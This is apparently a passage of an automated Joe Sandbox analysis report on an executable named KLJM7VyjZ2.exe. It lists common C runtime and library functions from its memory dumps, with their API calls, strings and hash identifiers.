Instruction ID: 45612b1d64fd260540ba2b052f4bac491d94d0f203439602371bd5a1426b9561
Opcode Fuzzy Hash: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
Instruction Fuzzy Hash: EE219871600705EFDB209F618C819EB77ADAF84368720462AF919E6291F739EC8197D8

Uniqueness

Uniqueness Score: -1.00%

Function 0041146B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 004114D6
api-ms-, xrefs: 004114C2

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: 4f46a66ffc02d64564e769461b8701469a3c5ddef2bd61c1abff7f2e40a9828d
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: 7D21DB71E01221B7CB318B289C45ADB37599B45B64F250122EE07AB3B1E738ED4185E9

Uniqueness

Uniqueness Score: -1.00%

Function 01CC7B66 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC78B2: _free.LIBCMT ref: 01CC78D7

_free.LIBCMT ref: 01CC7BB4

Part of subcall function 01CC14C2: HeapFree.KERNEL32(00000000,00000000,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?), ref: 01CC14D8
Part of subcall function 01CC14C2: GetLastError.KERNEL32(?,?,01CC78DC,?,00000000,?,?,?,01CC7B7F,?,00000007,?,?,01CC8072,?,?), ref: 01CC14EA

_free.LIBCMT ref: 01CC7BBF
_free.LIBCMT ref: 01CC7BCA
_free.LIBCMT ref: 01CC7C1E
_free.LIBCMT ref: 01CC7C29
_free.LIBCMT ref: 01CC7C34
_free.LIBCMT ref: 01CC7C3F

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: 4a95bc6c5719f9049c2bd5f95430e04711f7af9cc9c046d83c70a99308ef87e5
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: 0F112C72A41B05EAE520BBB1CC05FCBB7DC9F10B00F848C1DE29E66051DB65ED45EA60

Uniqueness

Uniqueness Score: -1.00%

Function 004178FF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041764B: _free.LIBCMT ref: 00417670

_free.LIBCMT ref: 0041794D

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417958
_free.LIBCMT ref: 00417963
_free.LIBCMT ref: 004179B7
_free.LIBCMT ref: 004179C2
_free.LIBCMT ref: 004179CD
_free.LIBCMT ref: 004179D8

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: b263717b2ee302d070426abb39806d9dd9f29001171d9790ca4b07c3447dbd31
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: EF118171584B04AAD620B7B6CD47FCB77BD6F44714F804C1EB39FA60A2DA3CB5844A58

Uniqueness

Uniqueness Score: -1.00%

Function 01CC9E37 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 01CC9E7F
__fassign.LIBCMT ref: 01CCA064
__fassign.LIBCMT ref: 01CCA081
WriteFile.KERNEL32(?,01CC1E4A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 01CCA0C9
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 01CCA109
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 01CCA1B1

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction ID: 329c6088e8eccda150434400ac2b91a08a0444060da7928fa2d4a97f4d20f6fb
Opcode Fuzzy Hash: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction Fuzzy Hash: 34C18AB1D0025DCFCB15CFE8C8849EDBBB5AF48714F28816AE815BB251E631DE42CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00419BD0 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 00419C18
__fassign.LIBCMT ref: 00419DFD
__fassign.LIBCMT ref: 00419E1A
WriteFile.KERNEL32(?,00411BE3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419E62
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419EA2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419F4A

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction ID: f79c40bb9f0dc0ab6f4f58e5de5b62f30820cb7fcfbecd81f5f7db26c050ad02
Opcode Fuzzy Hash: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction Fuzzy Hash: 5FC19D71D002589FCB14CFA9C8909EDBBB9EF48314F28816AE859F7341D6359D86CF68

Uniqueness

Uniqueness Score: -1.00%

Function 01CB7D00 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 01CB7D49
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 01CB7DB4
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 01CB7DD1
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 01CB7E10
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 01CB7E6F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 01CB7E92

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction ID: 935808b8837953af957562e05255a78005058bc67dc6932282d72ba6af5ea3ae
Opcode Fuzzy Hash: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction Fuzzy Hash: 87516B7291034AEFEB205FA4CC84FEA7FAAEF84654F154429FE05D6190D734DE10CA60

Uniqueness

Uniqueness Score: -1.00%

Function 01CB5FD7 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 01CB600D
std::_Lockit::_Lockit.LIBCPMT ref: 01CB6030
std::_Lockit::~_Lockit.LIBCPMT ref: 01CB6050
std::_Facet_Register.LIBCPMT ref: 01CB60B2
std::_Lockit::~_Lockit.LIBCPMT ref: 01CB60CA
Concurrency::cancel_current_task.LIBCPMT ref: 01CB60ED

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction ID: ac8e7a16184def6d06fb4ab14a7bbf7c3ed95f7a34b1439d969c2e2b77af50a9
Opcode Fuzzy Hash: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction Fuzzy Hash: A931A571A00266CFCB21DF59D8C0AEEBBB4EB44710F154169D805A7291DB39EA05CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 00405D70 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
std::_Facet_Register.LIBCPMT ref: 00405E4B
std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63
Concurrency::cancel_current_task.LIBCPMT ref: 00405E86

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction ID: 428a045f89a980e3aae625c1e15810528890a39a57655d698abf225f353de2ef
Opcode Fuzzy Hash: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction Fuzzy Hash: BA31AA71E046198BCB20DF54D984AAFB7B1EB04324F55017EE805772D1DB38AE02CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 01CBAE1B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,01CBAE12,01CB9486,01CB8AC0), ref: 01CBAE29
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 01CBAE37
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 01CBAE50
SetLastError.KERNEL32(00000000,01CBAE12,01CB9486,01CB8AC0), ref: 01CBAEA2

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction ID: 176d1cbcf3cf2427083f6412ad41f1624f8a02013392f5e2ab7dd774cda32404
Opcode Fuzzy Hash: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction Fuzzy Hash: 7B017932209752EFA6351EB9BCC4AE72B55E71157AF200339E510E60E1EF59C9229158

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABB4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040ABAB,0040921F,00408859), ref: 0040ABC2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ABD0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ABE9
SetLastError.KERNEL32(00000000,0040ABAB,0040921F,00408859), ref: 0040AC3B

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction ID: 1585e31ea0df4eff19312e57cd220c703c89e953a1065a25df23f812ed0ef9fb
Opcode Fuzzy Hash: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction Fuzzy Hash: 2101B53260C3129FE6342BB56C859672A54EB51778720023FF510B22E2EB3D4C23558E

Uniqueness

Uniqueness Score: -1.00%

Function 01CB5667 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 01CB32B7: ___std_exception_copy.LIBVCRUNTIME ref: 01CB3346

std::locale::_Init.LIBCPMT ref: 01CB5775

Part of subcall function 01CB767D: std::_Lockit::_Lockit.LIBCPMT ref: 01CB768F
Part of subcall function 01CB767D: std::locale::_Setgloballocale.LIBCPMT ref: 01CB76AA
Part of subcall function 01CB767D: _Yarn.LIBCPMT ref: 01CB76C0
Part of subcall function 01CB767D: std::_Lockit::~_Lockit.LIBCPMT ref: 01CB7700

Part of subcall function 01CB5FD7: std::_Lockit::_Lockit.LIBCPMT ref: 01CB600D
Part of subcall function 01CB5FD7: std::_Lockit::_Lockit.LIBCPMT ref: 01CB6030
Part of subcall function 01CB5FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 01CB6050
Part of subcall function 01CB5FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 01CB60CA

std::locale::_Init.LIBCPMT ref: 01CB5838
Concurrency::cancel_current_task.LIBCPMT ref: 01CB594F
Concurrency::cancel_current_task.LIBCPMT ref: 01CB5954

Part of subcall function 01CB18D7: ___std_exception_copy.LIBVCRUNTIME ref: 01CB1915

Strings

hyB, xrefs: 01CB56C6

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$SetgloballocaleYarn
String ID: hyB
API String ID: 3444572950-3752501641
Opcode ID: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction ID: f48d5d66b34f7b4fa2e17b71102871f25e79e5edc711d12a5431e8fa5808eac7
Opcode Fuzzy Hash: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction Fuzzy Hash: 43A123B0A00205DFEB00CF58C594B9ABBF4FF09314F1482A9D9099F791D7B6E948CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01CC5E7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\KLJM7VyjZ2.exe, xrefs: 01CC5E81

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\KLJM7VyjZ2.exe
API String ID: 0-1178034022
Opcode ID: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction ID: 05fc150ab763ef487364171a9c8e2ec344a576b5d73859106622fad31b3ee049
Opcode Fuzzy Hash: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction Fuzzy Hash: 802180B1704207FFEB25AF698C80DAB775DAF54668B008628E525D7150DB34FD419BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD87 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BE48,?,?,0042B440,00000000,?,0040BF73,00000004,InitializeCriticalSectionEx,0041EB20,InitializeCriticalSectionEx,00000000), ref: 0040BE17

Strings

api-ms-, xrefs: 0040BDD7

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: e5d4ee3c6a6847cb9dea89b3177c7606f989430977cf522e8fd3af181ee602d5
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 1C11E375E41621ABCB228B69DC41B9A73A4EF01770F240532EA01F73C1D778ED0086ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C6D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040C6EB
FreeLibrary.KERNEL32(00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C70E

Strings

mscoree.dll, xrefs: 0040C6D1
CorExitProcess, xrefs: 0040C6E3

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction ID: 206cf139684a9169e9adee9fe9aced5f01fd37e22cfc85179c7a1906029aafee
Opcode Fuzzy Hash: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction Fuzzy Hash: 26F08231900219FBDB119BA1DD4ABDEBA65EB04755F204071E805B22A0DB788E00DB98

Uniqueness

Uniqueness Score: -1.00%

Function 01CBFC47 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC0FA7: GetLastError.KERNEL32(01CB214C,?,01CB2150,01CBC6D8,?,01CB214C,?,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC0FAC
Part of subcall function 01CC0FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,01CC1257,00000000,?,00000000,00000000,01CB214C), ref: 01CC104A

_free.LIBCMT ref: 01CBFF32
_free.LIBCMT ref: 01CBFF4B
_free.LIBCMT ref: 01CBFF89
_free.LIBCMT ref: 01CBFF92
_free.LIBCMT ref: 01CBFF9E

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction ID: 3784d16cc31f483f80031f653aacc6cc4b139d96f4897cf1289c02bb14c5c4fd
Opcode Fuzzy Hash: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction Fuzzy Hash: DEB13475A0121ADBDB25DF28CC84AADB7B5FB48704F5085AEE949A7351D730EE90CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9E0 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

_free.LIBCMT ref: 0040FCCB
_free.LIBCMT ref: 0040FCE4
_free.LIBCMT ref: 0040FD22
_free.LIBCMT ref: 0040FD2B
_free.LIBCMT ref: 0040FD37

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction ID: b8379e73fcc390cbfd91c32178745e39a50c2e601da78d42e8ddde05ba45d347
Opcode Fuzzy Hash: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction Fuzzy Hash: ECB15C75A056199FDB34DF18C885AAAB3B5FF48304F1045BEE80AA7790D734AE94CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0041A94C
__alloca_probe_16.LIBCMT ref: 0041AA02
__alloca_probe_16.LIBCMT ref: 0041AA98
__freea.LIBCMT ref: 0041AB03
__freea.LIBCMT ref: 0041AB0F

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction ID: 74434231ff676d8f1fc8fa41ef5f78d3de69fe0be97559c158d781572d92f567
Opcode Fuzzy Hash: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction Fuzzy Hash: 1D8124B2D012499BDF209F65C981EEF7BB69F09354F19045BE904A7240D73D9CE0CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004121BC Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00412240
__alloca_probe_16.LIBCMT ref: 00412306
__freea.LIBCMT ref: 00412372

Part of subcall function 004123EF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

__freea.LIBCMT ref: 0041237B
__freea.LIBCMT ref: 0041239E

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction ID: 3f5f74f68e7d41f2cca7f6fce400f43b55e93c6934ce23f10ca0372b46243168
Opcode Fuzzy Hash: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction Fuzzy Hash: AF51F37260020AABEF209F61CD81EFF36A9EB40754F15012AFD24E7250D6BCDDA19668

Uniqueness

Uniqueness Score: -1.00%

Function 01CBF7BC Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01CC2656: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 01CC2688

_free.LIBCMT ref: 01CBF8CB
_free.LIBCMT ref: 01CBF8E2
_free.LIBCMT ref: 01CBF8FF
_free.LIBCMT ref: 01CBF91A
_free.LIBCMT ref: 01CBF931

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction ID: f22a8e0869b2d9616c73d633d0cf1b39f9393253eebfddadbe9036418b33c11b
Opcode Fuzzy Hash: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction Fuzzy Hash: 0B51AE72A00615EFEB21DF2ACC80AAAB7F4EF55720F14456DE849DB290E731EA419B40

Uniqueness

Uniqueness Score: -1.00%

Function 0040F555 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004123EF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

_free.LIBCMT ref: 0040F664
_free.LIBCMT ref: 0040F67B
_free.LIBCMT ref: 0040F698
_free.LIBCMT ref: 0040F6B3
_free.LIBCMT ref: 0040F6CA

Memory Dump Source

Source File: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction ID: e26f405226ca6c244662f86c70b7d9651fadd642deef2eefb689cee946dee19f
Opcode Fuzzy Hash: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction Fuzzy Hash: 5551E472A00604AFDB21DF29CC81BAB77F5EF44714F10097EE809E76A1E739D9468B48

Uniqueness

Uniqueness Score: -1.00%

Function 01CB2E87 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 01CB2F0A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 01CB2F56
__Getctype.LIBCPMT ref: 01CB2F6F
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 01CB2F8B
std::_Lockit::~_Lockit.LIBCPMT ref: 01CB3020

Memory Dump Source

Source File: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cb0000_KLJM7VyjZ2.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 1840309910-0
Opcode ID: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction ID: 92bf8c2c91b4ca72cb9592b49bb01a26e3d123680ce7a11ed74e2aa6d187f01f
Opcode Fuzzy Hash: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction Fuzzy Hash: E7515FB1D05259DBEF10DFA8D884BDEBBB8AF24310F144129ED04E7281E775E608DB96

Uniqueness

Uniqueness Score: -1.00%

Function 01CC763B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

